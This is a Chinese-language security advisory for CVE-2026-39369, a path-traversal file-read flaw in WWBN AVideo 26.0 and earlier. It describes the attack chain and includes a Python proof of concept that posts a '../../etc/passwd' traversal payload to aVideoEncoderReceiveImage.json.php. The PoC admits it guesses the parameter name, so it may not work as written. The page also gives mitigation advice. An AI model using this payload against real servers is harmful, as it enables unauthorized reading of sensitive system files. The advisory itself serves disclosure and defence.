IPBUF安全漏洞报告
English
CVE-2026-39369 CVSS 7.6 高危

CVE-2026-39369: AVideo本地文件读取漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39369
漏洞类型
本地文件读取
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

Path TraversalLFICWE-22WWBN AVideoInformation Disclosure

漏洞概述

WWBN AVideo 26.0及之前版本存在严重的安全漏洞。经过身份认证的攻击者可利用`aVideoEncoderReceiveImage.json.php`接口,通过构造恶意请求绕过路径遍历清理机制,成功读取服务器本地敏感文件(如/etc/passwd),并将其伪装成GIF海报发布,导致严重信息泄露。

技术细节

该漏洞核心在于WWBN AVideo平台处理视频编码图片接收逻辑中的缺陷。位于`objects/aVideoEncoderReceiveImage.json.php`的接口未能正确校验用户输入的同源URL路径,导致路径遍历防护机制被绕过。攻击者首先注册获取低权限账户,随后构造包含遍历序列(如`../`)的恶意请求指向本地敏感文件(如`/etc/passwd`)。服务器端在处理该请求时,错误地将本地文件内容读取并写入GIF海报存储路径。最终,攻击者只需访问生成的公共GIF媒体URL,即可下载并查看原本不可访问的本地敏感文件,造成严重的数据泄露风险。

攻击链分析

STEP 1
1. 获取凭证
攻击者在目标AVideo平台注册或获取一个低权限账户(PR:L)。
STEP 2
2. 发送恶意请求
攻击者向`objects/aVideoEncoderReceiveImage.json.php`发送POST请求,在URL参数中插入路径遍历载荷(如`/videos/../../../etc/passwd`),试图访问系统根目录。
STEP 3
3. 绕过过滤
由于存在漏洞,服务器未能正确清理遍历字符,允许请求逃脱预期的目录限制。
STEP 4
4. 读取并存储文件
服务器读取请求的本地文件内容,并将其作为GIF图片数据保存到可公开访问的海报存储路径中。
STEP 5
5. 获取敏感数据
攻击者访问返回的公共GIF媒体URL,下载文件并解析出原本的敏感信息(如/etc/passwd内容)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2026-39369 # Requires low-privileged user credentials target = "http://avideo-target.com" login_url = f"{target}/objects/userLogin.json.php" vuln_url = f"{target}/objects/aVideoEncoderReceiveImage.json.php" # 1. Authenticate as a low-privilege user credentials = {"user": "attacker", "pass": "password"} session = requests.Session() session.post(login_url, data=credentials) # 2. Exploit Path Traversal via aVideoEncoderReceiveImage # The endpoint accepts a path, we use traversal to reach /etc/passwd # Assuming the parameter name is 'file' or 'videoURL' based on common patterns payload = { "videoURL": "/videos/../../../../../etc/passwd", # The path is prepended with /videos/ internally, so we traverse up } response = session.post(vuln_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the returned URL for the GIF containing file contents.") # The server might return a JSON with the path to the generated GIF # e.g. response.json()['url'] print(f"Response: {response.text}") else: print("[-] Exploit failed.")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议立即升级至修复版本。若无法立即升级,应通过WAF或服务器配置阻断对`objects/aVideoEncoderReceiveImage.json.php`的非法访问,特别是包含路径遍历字符(如`../`)的请求。同时,应检查服务器媒体目录下是否存在异常生成的包含文本内容的GIF文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表